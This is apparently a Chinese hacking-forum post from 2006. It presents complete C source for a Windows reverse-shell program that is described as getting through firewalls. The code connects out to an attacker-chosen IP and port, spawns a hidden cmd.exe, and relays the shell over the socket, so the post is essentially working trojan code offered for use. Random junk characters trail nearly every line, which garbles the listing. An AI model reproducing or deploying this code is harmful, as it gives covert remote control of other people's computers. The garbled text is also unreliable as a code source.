这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 64b9.5Bn
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/* ============================== vV"TTzs!
Rebound port in Windows NT r&Za*TD^
By wind,2006/7 }IEYH&4!
===============================*/ SGjaH8z
#include -pa.-@
#include n#Z6 d`
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#pragma comment(lib,"wsock32.lib") ?Mji'ZW}
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void OutputShell(); j G{xFz>x
SOCKET sClient; pwU]r
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y @pkfH
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void main(int argc,char **argv) f-4<W0%
{ T5W r;a
WSADATA stWsaData; IxgnZX4N
int nRet; K6!`b(
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SOCKADDR_IN stSaiClient,stSaiServer; BC!l)2
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if(argc != 3) stoBjDS
{ KC8A22
printf("Useage:\n\rRebound DestIP DestPort\n"); L=zeFn
return; bF?EuL
} AB}Qd\
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6Y\9h)1Jo
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `=%[
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stSaiClient.sin_family = AF_INET; 2ORWdR.b
stSaiClient.sin_port = htons(0); oBKZ$&_h
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 49HtI9@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K& 2p<\2
{ tlqDY1
printf("Bind Socket Failed!\n"); od?Q&'A
return; AvP*p{we
} $T]1<3\G
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stSaiServer.sin_family = AF_INET; HmRwh
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); OXA_E/F
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [9aaHf@'
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Kq6m5A]z
{ ~iF*+\
printf("Connect Error!"); p~Dm3^Y
return; UxD1+\N6?
} sOU_j4M{
OutputShell(); R0*DfJS:Z
} uTB;Bva
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void OutputShell() ~~ )&? \N
{ >,hJ5-9
char szBuff[1024]; XD%?'uUQ_
SECURITY_ATTRIBUTES stSecurityAttributes; HRx#}hN?+
OSVERSIONINFO stOsversionInfo; ;#fB=[vl";
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gEU)UIJ
STARTUPINFO stStartupInfo; 6sB!m|zm]:
char *szShell; pN4!*7M
PROCESS_INFORMATION stProcessInformation; "%A[%7LY
unsigned long lBytesRead; Z2*hQ`eE
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?R"5 .3
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Q+dBSKSK
stSecurityAttributes.lpSecurityDescriptor = 0; bs%]xf
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stSecurityAttributes.bInheritHandle = TRUE; 69yTGUG3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); If!0w
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z-$?.?d
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;hd> v&u#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =CRaMjN
stStartupInfo.wShowWindow = SW_HIDE; B;W=61d
stStartupInfo.hStdInput = hReadPipe; e/@udau
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Yn1 U@!
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GetVersionEx(&stOsversionInfo); iVXR=A\er
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switch(stOsversionInfo.dwPlatformId) 0Xk;X1Xl
{ w[4SuD
case 1: Dtd
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szShell = "command.com"; pc-'+7Dh>
break; <| Z0|sel
default: ,EwJg69
szShell = "cmd.exe"; -cq ~\m^6
break; Of([z!'Gc
} P]dDTh~e~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {fIH9+v
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send(sClient,szMsg,77,0); ;}|.crMF
while(1) aoF>{Z4&B
{ L)B?p!cdLT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o L6[i'H|
if(lBytesRead) u$<FKp;I
{ _;LHC;,:
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b2p<!?
send(sClient,szBuff,lBytesRead,0); DB?_E{y]
} <JZ=K5
else L=HL1Qe$G]
{ -6t#
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lBytesRead=recv(sClient,szBuff,1024,0); A=h`Z^8\B
if(lBytesRead<=0) break; z^B!-FcIz>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +H="5uO<
} V !FzVl=G
} ]p0m6}B
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return; \ 0<e#0-V
}